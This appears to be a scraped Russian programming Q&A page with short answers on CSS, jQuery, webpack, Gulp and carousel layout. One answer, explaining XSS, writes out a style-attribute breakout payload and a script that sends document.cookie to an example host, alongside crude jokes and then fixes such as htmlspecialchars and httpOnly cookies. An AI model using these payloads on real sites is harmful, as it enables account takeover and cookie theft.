Задать вопрос
  • Шрифт в h1 отличается от текста который в div что это?

    SexyMonkey
    @SexyMonkey
    Разный font-weight. 400 у div и 700 у h1
    Ответ написан
    Комментировать
  • Как сделать анимированный счетчик чисел (от 0 до N) с замедлением под конец?

    0xD34F
    @0xD34F Куратор тега JavaScript
    $.easing.bullshit = function(x, t, b, c, d) {
      return (t == d) ? b + c : c * (-Math.pow(2, -10 * t / d) + 1) + b;
    };
    
    $('.ach-number span').each(function() {
      $(this).prop('counter', 0).animate({
        counter: $(this).text(),
      }, {
        duration: 10000,
        easing: 'bullshit',
        step(val) {
          $(this).text(Math.ceil(val));
        },
      });
    });

    https://jsfiddle.net/ph4ku28v/
    Ответ написан
    1 комментарий
  • SASS - LESS - Stylus что выбрать?

    bingo347
    @bingo347
    Crazy on performance...
    Вопрос конечно больше вкуса, но все же SASS в синтаксисе SCSS
    Из плюсов могу сказать:
    - Самый богатый функционал (ИМХО)
    - CSS - это валидный SCSS
    - Многие библиотеки написаны сегодня на нем, что позволяет подгружать их по частям или использовать на уровне миксинов и функций
    - Возможность переопределить загрузку import'ов
    - Возможность писать функции на языке сборки - в большинстве случаев не надо, но все же полезно
    - Единое ядро на C и байндинги ко множеству языков
    Ответ написан
    4 комментария
  • Как при использовании webpack импортировать jQuery-плагин, но jQuery загружать с CDN?

    Vlad_IT
    @Vlad_IT Куратор тега JavaScript
    Front-end разработчик
    Подключаете jQuery дедовским способом в html, в конфиге webpack указываете
    externals: {
        jquery: 'jQuery'
    }

    и радуетесь
    import $ from 'jquery';
    $('.block').html('Ура, jQuery с нами!');
    Ответ написан
    1 комментарий
  • Дизайны сайтов в устройствах?

    sergey_st
    @sergey_st
    Таких ресурсов много, можно искать по запросу "mockup"
    Я обычно вот этим пользуюсь https://www.mockupworld.co/
    Качаешь PSD, открываешь в фотошопе и вставляешь скриншоты
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Wordpress не подключает style.css?

    @zordq Автор вопроса
    Ответ написан
    Комментировать
  • Как сверстать непростую рамку?

    webinar
    @webinar
    Учим yii: https://youtu.be/-WRMlGHLgRg
    простой картинкой.
    И убейте человека который это нарисовал. Как он представляет себе рамку, если вторая строка будет по ширине как первая? Что будет если строк будет 18?
    Ответ написан
    1 комментарий
  • Почему не работает height: 100% внутри блока с flex-grow в Google Chrome?

    potapchino
    @potapchino
    это баг хрома, установите для .main height: 0, должно помочь
    Ответ написан
    1 комментарий
  • Не появляется картинка background?

    webinar
    @webinar
    Учим yii: https://youtu.be/-WRMlGHLgRg
    <spoiler title=""> </head></spoiler>

    вряд ли что-то вообще может работать при таком коде

    href="style.css"
    ../img/first-bg.jpg

    У Вас css судя по всему в корне сайта, а картинку Вы пытаетесь найти в папке img на уровень выше. Не бывает папок на уровень выше корня.

    header {
      height: 100vh;
    }<b></b>

    Как у Вас html в css попал?

    Такое ощущение, что был взрыв и куски кода раскидали
    Ответ написан
    2 комментария
  • Gulp-sass в связке с node.js - долгая компиляция, и Node начал забивать всю свободную RAM. Что не так?

    @Flying
    Навскидку что можно попробовать:
    1. Убрать постоянную минификацию css, всё равно для разработки она не полезна, а только жрёт время и ухудшает читабельность результата. Сделать отдельную задачу, например "prod" куда вынести все задачи по оптимизации (кстати можно подключить ещё css-mqpacker, хорошо помогает)
    2. Попробовать отключить вызов browserSync, не факт что поможет, но для чистоты эксперимента - стоит попробовать.
    3. Попробовать альтернативные варианты библиотек:
    - gulp-connect вместо browsersync
    - gulp-csso вместо gulp-minify-css
    4. Попробовать сменить версию node.js, проще всего поэкспериментировать с этим через nvm или для windows - nvm-windows.
    5. Попробовать посмотреть на то что происходит через inspect режим работы node.js
    Ответ написан
    9 комментариев
  • Что за плагин табов на макете?

    SecretBrain
    @SecretBrain
    still trainee
    Это изотоп плагин тык, есть еще микситап тык
    Ответ написан
    Комментировать
  • Программа для обрезки лишних белых отступов с изображения?

    pospelov
    @pospelov
    Руководитель веб-студии
    В фотошопе есть понятие action - это скрипты повторяющихся действий.
    Можно записать свой action, состоящий из последовательных команд и применять его к любым изображениям.

    То что вам нужно, выполняется одной командой - image -> trim и получается вот такой результат
    Запишите этот Action и выполняйте его сколько угодно раз.

    Таким образом, можно задавать вообще любые сценарии обработки любых изображений.
    Применить его к целой папке можно с помощью команды File -> Automate -> Batch

    5b5c51bf2340c842703560.png
    Ответ написан
    Комментировать
  • Как выровнять слайды в owl carousel 2 вертикально по центру?

    tyukavin_denis
    @tyukavin_denis
    web developer
    owl carousel создает контейнер для слайдов с классом owl-stage.
    Попробуйте так:
    .owl-stage {
      display: flex;
      align-items: center;
    }
    Ответ написан
    Комментировать
  • Как удалить дальнего родителя при клике на потомке?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Кто "дальний родитель", и кто "потомок":

    const ancestorSelector = 'селектор дальнего родителя';
    const descendantSelector = 'селектор потомка';

    Если клики по вложенным элементам "потомка" учитывать не надо:

    document.addEventListener('click', ({ target: t }) => {
      if (t.matches(descendantSelector)) {
        const ancestor = t.closest(ancestorSelector);
        if (ancestor) {
          ancestor.remove();
        }
      }
    });

    Если интересуют все клики внутри "потомка", в том числе и по его потомкам:

    document.addEventListener('click', e => {
      const descendant = e.target.closest(descendantSelector);
      if (descendant) {
        const ancestor = descendant.closest(ancestorSelector);
        if (ancestor) {
          ancestor.remove();
        }
      }
    });

    UPD. Наконец-то дождались:

    document.addEventListener('click', ({ target: t }) =>
      t.matches(descendantSelector) &&
      t.closest(ancestorSelector)?.remove()
    );

    document.addEventListener('click', e => {
      e.target.closest(descendantSelector)?.closest(ancestorSelector)?.remove();
    });
    Ответ написан
    Комментировать
  • Почему youtube api работает на сайте, но не работает локально?

    Elwen
    @Elwen
    Сложилось впечатление, что все дело в авторских правах, к которым ютуб очень внимательно относится.
    Если заменить видео на любые, где нет лицензиара на музыкальные треки, то все проигрывается локально. Если же лицензиар указан, то видео не проигрывается.
    Во всех используемых вами видео указаны правообладатели на музыку.
    Ответ написан
    1 комментарий
  • В чем проблема с line-height?

    display: inline;
    поменяй на
    display: inline-block;
    Ответ написан
    Комментировать
  • Из 2 ноутов один?

    @kalapanga
    Да, возможно.
    5b571c891dd07600040147.jpeg
    Ответ написан
    Комментировать